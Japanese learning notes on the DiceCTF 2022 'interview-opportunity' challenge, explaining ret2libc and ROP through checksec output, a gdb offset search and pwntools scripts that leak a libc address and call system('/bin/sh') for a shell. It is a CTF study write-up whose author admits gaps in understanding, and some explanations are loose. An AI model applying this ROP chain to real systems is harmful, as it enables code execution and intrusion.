DiceCTF2022 interview-opportunity

# はじめに


DiceCTF2022のinterview-opportunityで学んだことをまとめておきます。
writeupではなく、解き方も私が考えたものではないため、ご了承ください。



# ret2libcとは
この問題ではret2libcという攻撃方法が用いられる。
これは、DEPによってスタックセグメントが実行不可能にされていた場合に、libcを用いて任意の関数を実行するというものである。

# ROPとは
ROP(Return Oriented Programming)とは、元のコードの必要な部分を切り貼りして必要なコードを作り出すことである。
ret2libcを用いるときに複数の関数を用いるために、"gadget"と呼ばれる命令列を用いてそれらをつなげていくというものである。


# ret2libcの流れ

### 1. スタックセグメントの確認
まずはスタックセグメントが実行可能であるかどうかを確認する。
~~~shellcode
$ checksec ./interview-opportunity
[*] ./interview-opportunity
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
~~~
`Stack`の部分を見ることで、スタックセグメントが実行可能かどうかが分かる。（今回は不可能）



### 2. オフセットを求める
コードを見るなり、逆アセンブルするなりして脆弱性を見つけることができたら、オフセットを求める。
~~~
gdb -q ./interview-opportunity
Reading symbols from ./interview-opportunity...
(No debugging symbols found in ./interview-opportunity)
gdb-peda$ set disassembly-flavor intel
gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ r
Starting program: /home/kali/dicectf2022/interview-opportunity 
Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue.
So tell us. Why should you join DiceGang?

Program received signal SIGALRM, Alarm clock.
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
Hello: 
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA�

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x4012b0 (<__libc_csu_init>:       endbr64)
RCX: 0x7ffff7ed4d53 (<__GI___libc_write+19>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7ffff7fa5743 --> 0xfa7670000000000a 
RDI: 0x7ffff7fa7670 --> 0x0 
RBP: 0x41413b4141444141 ('AADAA;AA')
RSP: 0x7fffffffde88 (")AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA\377\177")
RIP: 0x4012a5 (<main+101>:      ret)
R8 : 0x49 ('I')
R9 : 0x0 
R10: 0xfffffffffffffb86 
R11: 0x246 
R12: 0x4010a0 (<_start>:        endbr64)
R13: 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

~~~
~~~
gdb-peda$ patto AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA
AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA found at offset: 34
~~~
`pattern_create`でランダムな文字列を作り出し実行してみる。
`patto`を用い`RSP`の文字列を入れることでオフセットを求めることができる。

### 3. gadgetのアドレスを見つける
pwntoolsというライブラリを使うと便利らしい。
```python
elf = ELF("./interview-opportunity")
rop = ROP(elf) 

PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN_PLT = elf.symbols['main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = (rop.find_gadget(['ret']))[0]
```
このコードが具体的に何をしているのかは理解できていないです。
おそらくバイナリから該当する部分を探しているのだろう。

### 4. libcのバージョンを求める
今回はlibcが与えられているので省略

### 5. libcのアドレスを求める
実行時の`puts`のアドレスからlibc内の`puts`のアドレスを引くことによって求められる。
```python
PUTS_GOT = elf.got['puts']
PUTS_PLT = elf.symbols['puts']

p = process('./interview-opportunity')
p.recvuntil(b"?")

ropchain = b'A'  * offset + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
p.sendline(ropchain)

p.interactive()
```
正直この実行時の`puts`関数のアドレスを求めるコードもいまいち理解できていない。

最初の`POP_RDI`はその前の関数の引数を`pop`するためのもの？
先に来ている`PUTS_GOT`は引数で、`PUTS_PLT`が呼び出す方の関数？
GOTの方にlibcのアドレスが含まれていることから引数の方はGOTになるのは分かるが、関数を呼び出す方はPLTになるのはなぜ？
最後に`MAIN_PLT`が来るのはどうして？

といった具合である。

libc自体は与えられていることから、libc内の`puts`のアドレスは調べることができる。
これによってlibcのアドレスを求めることができる。libcのアドレスは必ず00で終わるらしい。

### 6. systemを呼び出す
```python
BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']
                    
ropchain2 = b'A' * offset  + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM) + p64(EXIT)

p.sendline(ropchain2)
p.interactive()
```
`BIN_SH`を引数に`system`関数を呼び出している。

# まとめ
ret2libc、ROPの大まかな流れは理解できたが、細かな部分（特にlibcのアドレスを求める部分）で理解できないところがあった。
自分の中でかみ砕いて理解できれば追記しようと思う。

親切な方で「教えてあげるよ」という方がいれば、コメントしていただけると泣いて喜びます。